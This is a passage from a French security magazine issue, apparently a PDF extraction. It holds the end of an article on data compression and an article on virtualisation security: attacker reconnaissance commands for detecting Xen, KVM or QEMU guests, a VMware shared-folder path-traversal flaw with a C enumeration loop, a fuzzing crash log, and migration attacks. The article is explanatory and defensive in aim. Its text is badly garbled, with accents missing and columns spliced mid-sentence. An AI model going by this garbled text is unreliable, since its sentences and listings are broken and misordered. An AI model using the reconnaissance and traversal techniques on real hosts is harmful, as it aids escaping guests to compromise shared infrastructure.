associe alors la dernire colonne avant cette premire colonne, puis on classe dans lordre alphabtique les paires obtenues afin de construire les deux premires colonnes. On rpte ensuite cette opration jusqu constituer le tableau complet dans lequel on retrouve le texte original par son numro de ligne. A chacune des tapes, on associe une nouvelle colonne et on (re)fait un classement par ordre alphabtique. Dans la finalit, en utilisant le chiffre relative la ligne o figurait le texte original (en l'occurence 6), on retrouve notre mot premier : (voir Figure 3) Vous l'aurez sans doute remarquez, le classement par ordre alphabtique devient vite inutile sur les fractions de texte court car le prototype n'volue gure (le dernier est en gris). Par contre, sur les volumes de donnes importants, il est impratif de l'utiliser afin d'viter des erreurs lorsqu'il se produit des similitudes impromptues sur le moyen terme.

Compression Lempel-Ziv

eilsol leilso oleils

Transforme de Burrows-Wheeler

La transforme de Burrows-Wheeler (couramment appele BWT) est une technique utilise en compression de donnes. Elle fut invente par Michael Burrows et David Wheeler. En vrit, il ne s'agit pas proprement parl d'un algorithme de compression. Effectivement, aucune rduction

Seconde tape (classement par ordre

alphabtique) :
eilsol ilsole lsolei oleils leilso

soleil <- position retenir

Figure 2. Notre arbre selon le principe de Huffman.


44 HAKIN9 3/2009

Le dcodage consiste reconstruire le tableau complet partir de sa dernire colonne (texte cod leoisl) partir de laquelle on reconstruit la colonne suivante, cest--dire, par rotation la premire dont on sait quelle est dans lordre alphabtique, soit soleil. On

La compression LZ (selon Abraham Lempel et Jacob Ziv) remplace des motifs rcurrents par des rfrences leur premire apparition dans un fichier quelconque. Certes, elle donne des taux de compression relativement discutable eu gard d'autres algorithmes plus performant. Neanmoins, elle a le double avantage d'tre rapide et asymtrique. Ainsi, l'algorithme de dcompression est diffrent de celui de compression. Il est donc possible de trouver un bon compromis entre un algorithme de compression performant et un algorithme de dcompression rapide. L'alternative LZW (selon Abraham Lempel, Jacob Ziv et Terry Welch) est dveloppe sur la mme mthode mais elle dispose d'une amlioration considrable. La compression LZW est dite de type dictionnaire. Effectivement, elle est base sur le fait que des motifs se retrouvent plus souvent que d'autres et qu'on peut donc les remplacer par un index dans un dictionnaire. Ce susdit

LA MCANIQUE DE L'INFORMATION RDUITE

3/2009 HAKIN9

45

BACKUP
position=0, longueur=0, nouveau caractre. Ainsi, il occupe 3 octets au lieu d'un seul. Ce dfaut est supprim dans la version LZSS (selon Lempel, Ziv, Storer et Szymanski). L'algorithme LZ77 est utilis notamment pour la compression des fichiers dans le systme de fichier Windows NTFS. Figure 4. Le tableau Application Zip PPMd Zip BZip2 Zip Deflate Zip Portable Rar WinRAR Ace WinACE LZH WinACE CAB WinACE JAR WinACE TAR WinACE
BMP 93.2 92.7 89.7 89.2 90.1 90.5 88.4 90.7 89.2 89.2 TGA 95.1 94.5 91.9 91.4 92.4 91.7 90.0 93.0 91.3 91.3 JPG 6.45 6.25 6.52 6.50 7.30 6.81 -0.03 6.50 6.37 6.36 PNG 1.79 1.22 2.49 2.48 2.37 2.13 -0.01 2.49 2.39 2.38 TXT 92.2 90.9 88.4 87.7 92.0 89.5 86.8 90.7 87.3 87.3 DOC 66.6 63.3 65.9 65.2 69.2 68.6 64.1 68.3 65.0 65.2 XLS 79.6 78.1 72.3 72.1 80.8 77.4 71.7 78.9 72.4 72.4 PPT 10.6 10.9 12.2 12.2 12.7 12.6 11.9 12.5 12.1 12.1 MDB 75.0 71.9 66.4 65.9 76.0 70.3 64.9 71.1 65.8 65.8 Mix 76.2 73.5 68.8 68.3 75.9 72.0 67.3 72.8 68.1 68.1

Comparitif des outils de compression libres et payants

Certes, l'ensemble de ces informations est digne d'intrt, mais d'un manire concrte, quelles sont les applications de compression les plus efficaces. Il existe tant de formats, de produits et d'algorithmes qu'il devient difficile de se prononcer. Plusieurs facteurs sont importants afin de rpondre cette intressante question. Nous les tablissons sur la base de quelques rigueurs. Celles-ci sont donc : Le taux de compression final, La vitesse du traitement (compression et dcompression), La polyvalence dans l'usage des diffrentes archives.

Par habitude, les applications de compression de donnes utilisent un ensemble d'algorithmes complexes. Bien entendu, elles sont gnralement identiques aux codes prcdemment expliqus. A cet effet, nous nous sommes intresss aux formats de compression les plus frquents. Bien sr, il en existe encore bien d'autres plus ou moins digne d'intrt. Chacun dterminera son affection particulire dans le marasme des applications proposes. Nanmoins, il serait trs difficile d'tablir un ensemble de rsultats

Sur Internet

Le blog de Nix: http://blogs.codes-sources.com/nix Ouvrage de Shannon sur la thorie de l'information: plan9.bell-labs.com/cm/ms/what/ shannonday/shannon1948.pdf RFC 1950 Zlib http://tools.ieft.org/html/rfc1950 RFC 1951 Deflate http://tools.ieft.org/html/rfc1951 RFC 1952 Gzip http://tools.ieft.org/html/rfc1952 WinRAR gratuit http://www.winrar-full.net/fr

afin de dterminer quel est le meilleur logiciel de compression car ils disposent tous d'avantages importants et d'inconvnients majeurs. Si celui-ci comprime trs bien les fichiers de type XML, il sera navrant sur les images BMP ou PNG. Inversement, si celui-ci est excellent lors d'une compression sur PPT ou MDP, il se montrera particulirement lent, etc. Nanmoins, afin de finaliser notre dossier sur une dmonstration logique, nous vous proposons un tableau rcapitulatif des taux de compression sur un ensemble de fichiers dans un dossier quelconques. Imaginons toutes sortes d'extensions dans notre susdit dossier, notamment BMP, TGA, DOC, TXT, MDP, XLS, PPT, etc (en d'autres termes, une espce de pot-pourri de tout se qu'on peut trouver sur un ordinateur domestique). Nous utiliserons 10 formats de compression diffrents sur 3 applications diffrentes parmi les plus utilises. A chaque examen, nous ferons figurer les meilleurs compressions (et les pires aussi). Mme s'il semble se dgager quelques singularits, il faut bien reconnatre que les rsultats sont pour la plupart trs rapprochants les uns des autres. Vous noterez que les temps de traitements sont absents car ils sont essentiellement relatifs la configuration d'une machine notamment le CPU et la mmoire RAM. Cette analyse a t construite sur la base d'une tude trs intressante selon les travaux de Nicolas Sorel (alias Nix). Elle est exprime en pourcentage (%). Vous trouverez le blog de l'auteur dans l'encadr figurant en fin d'article : (voir Figure 4) Malgr un rsultat sensiblement infrieur la moyenne de l'application ZIP (extension PPMd), le programme WinRAR semble

particulirement idal pour un usage domestique. Toujours dans des performances apprciables (souvent maximales mme), elle suscite l'attention de trs nombreuses personnes. Par contre, sans vouloir tre dsagrable, il faudra peut tre oublier l'extension LZH (trop souvent mdiocre, voire contre-productive sur certains formats). Or, les puristes se demanderont pourquoi nous n'avons pas encore voqu l'application 7-Zip. Si on se base sur plusieurs benschmarks qu'on peut trouver sur internet, cette application est trs apprciable dans ces taux de compressions mais pas dans la dure de traitement. Ceux-ci peuvent atteindre des sommets eu gard au temps de traitement d'une autre application comme WinRAR ou ZIP. En conclusion, vous l'aurez compris sans grande difficult. Tout est une question de besoins et de gots. Chacun dterminera sa propre prfrence, peut tre au dtriment d'une capacit de traitement discutable dans un registre particulier. L'internet regorge d'applications gratuites ou en Shareware. De ce fait, vous trouverez sans aucun doute le programme qu'il vous faut. D'ailleurs, n'hsitez pas tablir votre propre benschmark. C'est la meilleur faon de se faire une opinion ferme sur la question que nous venons d'voquer. Sicchia Didier

Il est l'origine de nombreux exploits, dossiers et articles divers pour plusieurs publications francophones consacres la scurit informatique et au dveloppement. Autodidacte et passionn, son exprience se porte notamment sur les ShellCodes, les dbordements d'allocations de mmoire, les RootKits, etc. Plus que tout autre chose, c'est l'esprit alternatif de la communaut UnderGround qui le motive. Pour contacter l'auteur : didier.sicchia@free.fr

46

HAKIN9 3/2009

LA MCANIQUE DE L'INFORMATION RDUITE

3/2009 HAKIN9

47

TECHNIQUE
JULIEN REVERET

La scurit
Degr de difficult

des systmes virtualiss


La virtualisation est la mode depuis quelques temps, il n'est pas rare dans un environnement de test de se trouver sur une machine virtuelle plutot que physique.Les technologies de virtualisations peuvent servir aux codes malicieux et elles prsentent des failles qui peuvent rendre une infrastructure plus fragile.

CET ARTICLE EXPLIQUE...


Les technologies de virtualisation du monde libre principalement, La dtection d'une machine virtuelle, Le fuzzing pour trouver des failles spcifiques aux machines virtuelles.

CE QU'IL FAUT SAVOIR...


Les bases en technologie de virtualisation, Les bases du fuzzing. 48 HAKIN9 3/2009

e site wikipedia donne la dfinition suivante de la virtualisation : En informatique, on appelle virtualisation l'ensemble des techniques matrielles et/ou logicielles qui permettent de faire fonctionner sur une seule machine plusieurs systmes d'exploitation et/ou plusieurs applications, sparment les uns des autres, comme s'ils fonctionnaient sur des machines physiques distinctes. Les outils de virtualisation servent faire fonctionner ce qu'on appelle communment des serveurs privs virtuels (Virtual Private Servers ou VPS) ou encore environnements virtuels (Virtual Environments ou VE). Nous nous attacherons dans un premier chapitre dcrire les menaces existantes sur les solutions de virtualisation travers les travaux mens par diffrents chercheurs, nous identifierons les points faibles des solutions de virtualisation. Le deuxime chapitre sera l'occasion de dtailler les techniques d'exploitation utilises pour compromettre une machine hte une fois une machine virtuelle entre les mains d'un attaquant. Le troisime chapitre dtaillera les lments de scurit qui sont actuellement en place dans les infrastructures dites physiques, comment la virtualisation a remis ces lments en question et les problmatiques qui se posent de nouveaux. Enfin le quatrime et dernier chapitre donnera une liste de recommandations gnrales : des voies explorer pour les nouvelles mthodes de scurisation mettre en place, les outils permettant d'amliorer la scurit des machines virtuelles.

Les menaces qui psent sur la virtualisation


Parmi les menaces recenses, on compte les drivers spcifiques aux machines virtuelles, ils indiquent que l'on se trouve sur une machine virtuelle et pas physique, un attaquant peut alors orienter son escalade de privilges en focalisant ses efforts sur l'exploitation de failles spcifiques la solution de virtualisation : drivers de cartes ethernet ou de controleur disque mais aussi pile IP partage entre la machine virtuelle et son hte physique, enfin les instructions particulires de certains processeurs permettent de dtecter leur prsence. Le but final pour un attaquant est de ne compromettre non pas la machine virtuelle, mais l'hte qui l'hberge afin d'avoir accs l'ensemble des machines virtuelles. Les impacts de ces diffrentes menaces peuvent tre rangs dans trois catgories distinctes : La fin anormale du programme de surveillance des machines virtuelles (crash de celui-ci, boucle infinie empchant l'administrateur d'accder aux machines virtuelles) La compromission partielle o l'attaquant arrive accder des informations de la machine hte ou arrive allouer plus de ressources que prvu par l'administrateur. La compromission totale o l'attaquant russit faire excuter du code sur la machine hte au travers de l'hyperviseur avec les privilges de ce

VIRTUALISATION
dernier. Ce risque est le plus important car une fois la machine hte compromise, c'est l'ensemble des machines virtuelles qui est sous le contrle de l'attaquant. Si cela n'est pas suffisant, il peut vrifier les drivers pour la carte rseau, le contrleur PCI ou la gestion de la mmoire l'aide de la commande dmesg : voir Listing 3 L'attaquant a toutes les informations pour savoir qu'il est bien sur une machine virtuelle. On voit quel point un simple compte utilisateur peut tre utile pour explorer une machine et obtenir des dtails pertinents. entre elles, les logiciels de virtualisation doivent donc effectuer une translation pour chaque table de machine virtuelles. L'adresse de cette table est rcuprable grce l'instruction SIDT qui a pour avantage de pouvoir tre utilise dans un mode non privilgi (appel ring3), les informations retournes sont sensibles car ce sont celles utilises en interne par le systme d'exploitation. Une ide voque par Joanna Rutkowska est d'identifier le logiciel de virtualisation utilis en fonction de la translation d'adresse mmoire effectue, le but final tant d'tablir une base d'empreintes des logiciels et de pouvoir clairement les identifier.

Dtecter une machine virtuelles


Pour un attaquant, la premire chose faire lorsqu'on a obtenu un accs une machine et de passer la phase de rcolte d'informations sur le systme. Tout lment lui permettant de dcouvrir l'architecture sur laquelle il se trouve est important car il pourra alors cibler ses attaques et augmenter son potentiel de russite lors de l'exploitation de failles. Dterminer l'architecture se fait principalement via les lments suivants : L'architecture matrielle : dterminer le type de processeur (intel ou compatible, sparc, powerpc), la quantit de mmoire et d'espace de stockage, le type de connexion rseau. Le systme d'exploitation : est-on face un Windows, un Unix ? Quel est la version du systme d'exploitation ? Les logiciels installs sur la machine : chaque logiciel install apporte son lot de bugs mais aussi de failles de scurit.

Dtecter KVM ou QEMU


Les technologies QEMU et KVM sont utilises sur des machines htes Linux pour hberger diffrents systmes d'exploitation, la dtection est donc quelque peu diffrente. Par exemple pour la dtection du hardware, les informations rcoltes sont un peu moins exploitables : voir Listing 4. Cette fois les informations donnes l'attaquant sont diffrentes mais tout de mme exploitables. Mme s'il ne connat pas le type de processeur, la frquence donne par QEMU ou KVM est la mme que le processeur de la machine hte, de mme il sait qu'il est sur une machine virtuelle cause des noms de priphriques pour le contrleur de disque et le CPU. Pour la carte rseau, il est connu que QEMU mule une carte realtek 8139C+, ce qui peut le conforter dans sa dduction. Ensuite pour la dcouverte du systme, il a accs aussi la commande uname : voir Listing 5. On remarque donc qu'il n'est pas difficile de connatre l'OS invit lorsqu'on peut excuter des commandes (que ce soit depuis un shell ou en injectant celles-ci dans une application web ou autre) sur le systme invit.

Dtecter les logiciels installs


Lorsqu'un intru se trouve sur un systme invit, une des premires choses qu'il est amen faire est d'tudier la liste des logiciels prsents pour trouver d'ventuelles failles exploitables localement afin de pouvoir augmenter ses privilges, que ce soit en profitant d'un groupe ayant accs d'autres permissions ou le compte administrateur. Ici les techniques sont diverses et varies, en fonction des systmes invits. Sur une distribution Linux classique on trouve les commandes classique, telles que Listing 1. detecter Xen
user@server:~$ uname -a Linux web 2.6.18.12-xenU #13 SMP Tue Apr 17 12:24:59 CEST 2007 x86_64 GNU/Linux

On notera que la collecte d'informations va en s'affinant, l'attaquant cherchant toujours connatre les dtails lorsqu'il n'a pas pu avoir accs ce qu'il cherchait lors des phases prcdentes. Pour mieux comprendre comment s'opre cette phase de recherche, prenons en exemple deux technologies de virtualisation libres : Xen et KVM. Nous allons reprendre chaque tape pour chaque systme.

Listing 2. cpu de lhte


user@server:~$ head -7 /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD model : 65 model name : Dual-Core AMD Opteron(tm) Processor 2210 stepping : 2 cpu MHz : 1795.497

Dtecter Xen
Nous tudions ici le cas o un intru a russi accder au systme d'exploitation avec les privilges d'un simple utilisateur. Il commence alors faire la prise d'empreinte ou OS fingerprinting. La seule commande Unix uname lui donne dj un indice non ngligeable : voir Listing 1. Il sait alors qu'il est sur une machine de type guest grce l'indication -xenU du numro de noyau, c'est un Linux, il sait aussi que la machine hte a un processeur x86_64, il peut aller plus loin et voir quel type de processeur est en place sur la machine hte : voir Listing 2

Dtecter grce aux registres mmoire


Dans son article datant de Novembre 2004 intitul Red pill, Joanna Rutkowska dcrit une manire de dtecter la prsence d'une machine virtuelle en vrifiant l'adresse laquelle se trouve la table des descripteurs d'interruption. L'attaquant rcupre l'aide d'un programme de quelques lignes des informations sensibles. La table IDT est unique et se situe toujours au mme endroit, or pour qu'une ou plusieurs machines virtuelles fonctionnent en parallle sur la mme machine hte, il faut que les diffrentes tables cohabitent sans s'craser

Listing 3. caractristiques mmoires


user@server:~$ dmesg | grep -A 1 ^BIOS BIOS-provided physical RAM map: Xen: 0000000000000000 0000000040800000 (usable) user@server:~$ dmesg |grep ^netfront netfront: Initialising virtual ethernet driver. user@server:~$ dmesg | grep -i pci PCI: setting up Xen PCI frontend stub

3/2009 HAKIN9

49

TECHNIQUE
rpm sur une distribution RedHat, Suse ou

Mandriva, dpkg sur une distribution Debian, ubuntu ou drives et enfin eix sur gentoo. Pour les Unix de type BSD, la commande pkg_info fournira ces renseignements. Pour une machine windows, on pourra contourner le problme de ne pas avoir d'interface graphique en utilisant par exemple l'agent snmp s'il est install sur la machine pour requter et obtenir la liste des applications tierces installes. Cette tape n'est donc pas diffrente de l'attaque d'une machine physique.

Blue pill : ou quand matrix devient ralit


A la confrence Black Hat 2006, Joanna Rutkowska prsenta ses recherches concernant la compromission de Windows Vista via l'exploitation de failles dans les drivers de cartes graphiques ATI ou NVidia. Une fois le noyau atteint, blue pill utilise l'extension SVM prsente dans les processeurs AMD64 et virtualise la vole le systme d'exploitation et installe un hyperviseur lger permettant de controler le systme d'exploitation devenu un systme hte. Cet hyperviseur contrle ensuite les vnements intressants au sein de la machine virtuelle, l'attaquant a alors la possibilit de devenir quasiment invisible aux yeux des systmes de protections (antivirus, anti malware) installs sur la machine qui ne peuvent pas dtecter l'hyperviseur qui se situe l'extrieur du systme. Blue pill s'installe la vole et ne requiert aucune modification du BIOS, du secteur de boot ou du systme de fichier. Un inconvnient cette mthode bien entendu est que le programme malicieux ne survit pas un reboot de la machine.

restrictions sur les dossiers qui sont partags et les droits qui sont accords. En analysant comment est code cette partie, on s'aperoit que le problme rside dans la validation du chemin. VMWare vrifie que le chemin d'accs ne contient pas les caractres.. pour viter que l'utilisateur ne puisse remonter au del de la limite, cette tape de vrification est faite avant de passer le rsultat en argument la fonction cense convertir le chemin donn sous forme de chane de caractres au format unicode UTF-16. La vulnrabilit plus en dtails est due au fait que la fonction MultiByteToWideChar est utilise de faon ne pas bloquer les chanes mal formes. Lorsque celle ci n'a pas comme second argument MB _ ERR _ INVALID _ CHARS, elle ignore les caractres invalide et les retire pour que la chane puisse tre valide par la suite. On peut ainsi avoir une chane qui passe la validation car elle ne contient pas .. mais qui une fois passe la focntion MultiByteToWideChar permettra quand mme l'attaquant d'accder aux ressources. On peut penser que le code effectuant la vrification se prsente sous cette forme : voir Listing 6. On imagine sans peine que la dtection d'une machine virtuelle vmware par un attaquant lui permettra d'utiliser la vulnrabilit pour prendre en sa possession la machine hte.

S'attaquer une machine virtuelle


Les machines virtuelles implmentent des drivers spciaux pour muler les lments hardware ou l'accs aux lments en question sur la machine hte. Dans un cas comme dans l'autre, crire des drivers corrects, sans problme de scurit est un vritable challenge. Pour un attaquant ces drivers sont des points dentre vers le systme hte. Une deuxieme possibilit est dutiliser les fonctionnalits additionnelles, par exemple les fonctions de partage de fichiers, de migration de machines virtuelles entre des htes physiques ou encore les fonctionnalits de communication entre applications dans diffrentes VM. Un moyen pour dcouvrir une vulnrabilit desdits drivers est d'employer la mthode communment appele fuzzing. Un simple outil comme Crashme permet de faire une srie de tests pour vrifier la gestion des I/O, chaque erreur est reporte et analyse. Si ces outils sont plutt utiliss par les chercheurs en scurit, il ne faut pas oublier que sans eux la dcouverte de failles serait beaucoup plus alatoire. De plus, les personnes malveillantes utilisent dj ce genre d'outils pour trouver les failles et les exploiter avant que les diteurs ne fournissent les correctifs de scurit leurs clients. Voici un exemple de logs vmware obtenu en lanant Crashme l'intrieur d'une VM : voir Listing 7. Concernant les failles au niveau des instructions, il est not que selon les architectures, il existe des diffrences majeures. Sur architecture Intel, les instructions SIDT, SGDT et SLDT permettant respectivement d'accder aux tables de descripteurs d'interruption, global et local. Pire, Listing 4. caractristiques matrielles
user@server:~$ dmesg |grep cpu cpu0: QEMU Virtual CPU version 0.9.1, 2671.99 MHz user@server:~$ dmesg |grep -i harddisk wd0 at pciide0 channel 0 drive 0: <QEMU HARDDISK> user@server:~$ dmesg |grep ^re0 re0 at pci0 dev 3 function 0 "Realtek 8139" rev 0x20: RTL8139C+ (0x7480),

Trouver les failles

Exemple de faille : VMWare


La faille publie par la socit Core Security Technology le 25 Fvrier 2008, Advisory ID: CORE-2007-0930, dvoile une faille permettant d'accder une machine hte. Cette vulnrabilit rside dans une exploitation des dossiers partags et permet un attaquant d'avoir un accs complet au systme de fichier de la machine hte. La fonctionalit a pour but initial le partage de fichiers entre la machine hte et les systmes invits, elle est active par dfaut sur les anciennes version de VMWare (voir la liste dans l'annonce), elle pose des
50 HAKIN9 3/2009

Nous allons ici nous employer numrer des failles ou des types de failles dans les implmentations de machines virtuelles. Cette nouvelle technologie dbarque avec son lot de nouveauts, certaines nayant pas t conues avec des bases scurises, il est tout fait possible de trouver de nouveaux moyens de sintroduire frauduleusement dans un systme dinformation.

Depuis la machine virtuelle


Nous nous plaons dans le cas o un attaquant a russi obtenir les privilges d'administrateur sur une machine virtuelle, partir de ce moment, l'objectif de l'attaquant est de compromettre la machine hte afin d'avoir accs d'une part aux ressources physiques et d'autres part aux autres machines virtuelles. Pour trouver des failles spcifiques aux diffrentes solutions de virtualisation, regardons tout d'abord quelle est la surface d'attaque.

Listing 5. connatre lOS invit


user@server:~$ uname -a OpenBSD 4.3 (GENERIC) #1368: Wed Mar 12 11:05:31 MDT 2008

VIRTUALISATION
elles peuvent tre utilises par des processus non privilgis, comme ces tables sont uniques, il faut que le logiciel de virtualisation fasse lui mme la translation vers une nouvelle table, permettant ainsi l'attaquant de dcouvrir la prsence de la machine virtualise. Du ct d'un autre gant de l'informatique, IBM, le processeur Power5 a t cr avec une toute autre philosophie. Les processeurs de la famille Power ont t conus pour fournir une virtualisation hardware depuis longtemps, avec le systme LPAR (Logical Partitioning), les ressources sont isoles entre chaque partition et surtout le processeur dispose de mcanismes de scurit. Parmi les mcanismes proposs, les suivants sont intressants : La protection contre les accs interpartitions : les accs utilisant un moyen autre que les partages rseaux sont interdits. Une erreur logicielle sur une partition n'a aucune rpercution sur d'autres partitions. Une application ou le systme d'exploitation d'une machine virtuelle ne peut pas accder aux autres partitions. La protection contre les attaques visant puiser les ressources systmes (DoS local). Le processeur Power5 dispose de mcanisme de empchant une partition d'utiliser les ressources CPU, mmoire et I/O jusqu' puisement. Par exemple un bus physique partag entre deux partitions ne pourra tre occup 100% P U du temps par une seule des partitions que pendant un temps dfini. victime et tenter d'accder la machine hte. L'envoi de fausses informations : si l'environnement des serveurs de VM fonctionne comme un cluster, un attaquant peut tenter de faire passer une machine comme un membre de ce cluster et ainsi rcuprer certaines VM et les compromettre.

La migration de machines virtuelles


Pour rappel, la migration de VM est le processus permettant de faire passer une machine virtuelle hberge sur un serveur A vers un serveur B. Cette opration se fait via le rseau bien entendu. Le risque majeur lors d'une migration de VM est la fuite d'information. En effet la migration comprend d'une part le transfert des priphriques de stockage et d'autre part le transfert du contenu de la mmoire vive l'instant de la migration. Si un attaquant arrive intercepter le flux entre les deux machines htes, alors il peut accder la totalit des informations : fichiers de mots de passe, donnes confidentielles de l'entreprise, etc. Les trois principaux types de menaces concernant la migration des machines virtuelles sont les suivantes : Le contrle de rappatriement : un attaquant peut initier la migration d'une VM vers sa machine pour gagner ainsi le contrle de ladite VM. Il aura ainsi obtenu une porte d'accs au rseau et si, par exemple, la politique de mot de passe mise en place est faible, il pourra aisment obtenir l'accs d'autres machines. Le contrle d'envoi : on se trouve dans le cas contraire par rapport au premier point, ici l'attaquant dcide d'envoyer des VM qu'il a cres vers un serveur victime, il le surcharge, l'empchant de fonctionner. Il peut arriver ensuite se connecter la VM sur le serveur B L I C I

Lorsque la machine hte est compromise


Une fois l'hte compromis, il peut servir l'attaquant pour rcuprer par exemple les machines virtuelles d'un autre serveur, ceci afin de les modifier et d'y intgrer des rootkits. Une attaque typique est explique par J. Oberheide, E. Cooke et F. Jahanian dans leur article. Cette attaque fait partie de la classe la plus dangeureuse, la manipulation active de donnes. En prenant trois machines : l'hte source, l'hte destination et une machine controle par l'attaquant, il est possible lors de la migration d'une machine virtuelle entre les htes source et destination de modifier le contenu de la mmoire, l'outil dvelopp dans le cadre de leurs recherche se nomme Xensploit et fonctionne pour l'instant avec Xen mais aussi avec VMWare, ils ont pu dmontrer qu'il tait possible de modifier le contenu de la mmoire d'une machine guest lors de la migration. La mthode employe est un manin-the-middle, le framework utilis est celui de l'outil fragroute, connu depuis longtemps.

Les problmes de scurit

Si les machines virtuelles ont russi rsoudre certaines problmatiques, il reste T

3/2009 HAKIN9

51

TECHNIQUE
quun nombre dentre elles nont toujours pas trouv de solution. Voyons de plus prs les problmes auxquels les administrateurs doivent faire face avec une architecture physique et son pendant sur une architecture forme de machines virtuelles. Comme nous allons le voir, le cloisonnement. Limitation des ressources : La limitation des ressources doit se faire indpendamment sur chaque machine, sur une machine unix, les utilisateurs seront brids l'aide de ulimit , il faudra aussi tablir des limites pour chaque service tournant sur la machine afin de limiter les dgats en cas d'attaque par DoS. Chaque serveur ayant son propre processeur, sa propre mmoire et des ressources de stockages non partages, un outrepassement des limites n'affecte que ledit serveur, sauf bien entendu dans le cas d'une consommation excessive de la bande passante o les serveurs du mme segment rseau peuvent tre touchs. Fuite d'information : bloquer les accs sortant sur le FW, empecher l'accs au support de stockage externe comme une cl USB. des autres VM facilement une fois une premire machine compromise. Cette dimension n'a pas pu tre prise en compte totalement sur les architectures intel car les processeurs ne disposaient pas d'instructions spcifique pour les machines virtuelles, contrairement au processeur Power5 d'IBM qui a t De plus d'un point de vue rseau, on voit de nouvelle cloisons s'installer ou tre abattues. La socit VMWare a par exemple introduit une technologie thinapp qui permet entre autres deux applications dans deux VM, grce au Listing 6. exploitation de la faille VMWare
#include <windows.h> int main(int argv, char *argc[]) { unsigned int i, ans; unsigned char buf[200]; for (i=1;i;i++) { memset(buf, 0, 200); ans = MultiByteToWideChar(CP_ UTF8, 8, &i, 4, buf, 100); // 8 = MB_ERR_INVALID_CHARS if (ans && (buf[0] == '.') && (buf[1] == 0) && ((i & 0xff) != '.')) printf("%d %04x: %02x %02x %02x %02x\n", ans, i, buf[0], buf[1], buf[2], buf[3]); } }

Les anciennes problmatiques lies aux machines physiques


L'informatique traditionnelle telle que nous la connaissions jusqu' l'arrive de la virtualisation a donn naissance une quantit de recommandations et autres best practice. La virtualisation est en train de changer la donne, c'est le monde de l'informatique et des rseaux qui est compltement chamboul et qui doit s'adapter. Le cloisonnement physique des machines sur un rseau : Sur un rseau local ne contenant que des machines physiques, le cloisonnement se fait au niveau deux du modle OSi via des VLAN et au niveau trois grce aux routeurs ou aux firewalls. La compromission d'un routeur inter-vlan ou d'un firewall permet un attaquant de modifier des ACL / rgles de filtrage afin d'accder directement aux services ferms depuis l'extrieur ainsi que dans certains cas l'analyse du trafic destin aux machines en question. Depuis des annes des mthodes de scurisation ont t mises au point et prouves. Parmi ces mthodes on compte : Les VLANs qui permettent d'viter ou de minimiser certains risques comme les attaques DDoS, la redirection de ports ou l'utilisation de rootkits une fois la machine compromise. La machine peut tre isole dans un VLAN le temps de rgler le problme, Le filtrage via un firewall : ici on protgera la machine des DDoS mais aussi de faire partie d'un botnet qui servira lancer des DDoS contre d'autres machines, L'analyse de trafic permet d'observer une activit suspecte et d'identifier la machine responsable de l'activit en question.

Les nouvelles problmatiques lies aux machines virtuelles


Les machines virtuelles doivent disposer de mcanisme de filtrage nouveaux pour parer aux nouvelles menaces. Les nouvelles fonctionnalits introduites dans les hyperviseurs sont autant de failles potentielles. Le cloisonnement physique des machines sur un rseau : Nous avons vu que la compromission d'un routeur intervlan ou d'un firewall avait des impacts sur l'accs au service ou l'analyse du trafic. Pour ce qui est d'une machine virtuelle, la compromission de la machine hte, qu'elle soit en mode bridge ou en mode routeur a un tout autre impact ! En effet, obtenir les privilges d'administrateur sur une machine hte permet d'accder aux machines virtuelles hberges, aux donnes qu'elles contiennent, les risques sont donc bien plus levs. Le firewall utilis sur OS/390 dispose de fonctionnalits intressantes pour le cloisonnement des partitions logiques, il filtre aux niveaux IP, TCP/UDP mais aussi au niveau applicatif, il filtre les acces socks, vpn IPSec et fait office de proxy FTP. Il dispose aussi d'un daemon syslog pour collecter les donnes des diffrentes partitions logiques. Il est vident que si le cloisonnement n'est pas ralis correctement, il devient alors possible d'accder au contenu

Listing 7. rsultat de fuzzing sur une VM


vcpu-0| Backtrace[6] 0xbf7ffa94 eip 0x8084e7a vcpu-0| Backtrace[7] 0xbf7ffab4 eip 0x807e848 vcpu-0| Backtrace[8] 0xbf7ffb24 eip 0x80e3d08 vcpu-0| Backtrace[9] 0xbf7ffbf4 eip 0x40047fb7 vcpu-0| Backtrace[10] 00000000 eip 0x4015acba vcpu-0| Msg_Post: error vcpu-0| [msg.log.vmxpanic] VMware ESX server unrecoverable error: (vcpu-0) vcpu-0| BUG F(553):566 bugNr=431 vcpu-0| Please request support and include the contents of the log file: entitlement. vcpu-0| -----------------------------vcpu-0| VTHREAD thread 4 start exiting vcpu-0| VTHREAD counting thread 0 vcpu-0| VTHREAD counting thread 1 vcpu-0| VTHREAD thread 4 exiting, 2 left vmx| VTHREAD watched thread 4 "vcpu-0" died vmx| VTHREAD thread 0 start exiting

52

HAKIN9 3/2009

VIRTUALISATION
procd nomm Application Link. On voit que si un attaquant arrive trouver une faille dans une des applications, il pourrait trs bien essayer de rebondir sur la deuxime VM en utilisant le lien qui existe entre les deux applications. Le logiciel libre n'est pas en reste quand il s'agit de cloisonnement rseau, on peut par exemple citer VDE (Virtual Distributed Ethernet) qui dispose d'une fonctionnalit pour relier des machines virtuelles QEMU dispose sur plusieurs htes rels. De plus il est possible de chiffrer les canaux de communication, avec l'algorithme blowfish ou bien de mettre en place des VLANs. On retrouve ici les solutions dj en place dans le monde des machines physiques, mais appliques aux solutions virtualises. Limitation des ressources : Un DoS local sur une machine virtuelle utilise des ressources sur le systme hte, ressources qui ne seront pas utilisables par les autres machines virtuelles. Pour cela, il peut tre intressant de regarder comment un hyperviseur peut amliorer la scurit. Une machine virtuelle doit avoir les mmes paramtres de scurit qu'une machine physique concernant la limitation des ressources, il n'en reste pas moins que lorsqu'une machine virtuelle subit un DoS, l'impact ne se limite pas cette machine mais aussi aux machines virtuelles tournant sur le mme hte, il devient donc ncessaire de mettre en place sur l'hte, que ce soit via l'hyperviseur ou d'autres mcanismes de scurit. Voici une liste non exhaustive : Empcher certaines instructions CPU d'tre excute l'intrieur d'une machine virtuelle, Mutualisation des services de scurit dans l'hyperviseur pour viter que plusieurs machines virtuelles fassent le mme traitement. On vite ainsi de gaspiller des ressources. Exemple : mutualisation de firewall, d'antivirus. Cette solution est tudie par VMWare depuis leur rachat de Determina, Virtualisation des boitiers de scurit : les boitiers ne sont plus physique mais juste de nouvelles machines virtuelles qui s'insrent entre l'hte et la/les machine(s) protger. Cette solution est l'tude aussi chez VMWare. ces attaques, certains comme virtual shield de la socit Blue Lane vont mme jusqu' stopper les attaques ou tout du moins corriger les rponses des machines virtuelles attaques. Le principe de Virtual Shield est qu'un patch appliqu sur un service ou un OS peut parfois avoir des effets de bord indsirables, le patch n'est donc plus appliqu sur la machine virtuelle mais sur virtual shield qui est une couche interfaant l'hyperviseur et les machines virtuelles. Ainsi il est possible de protger diffrentes versions d'un mme logiciel, diffrents OS. Concernant les projets 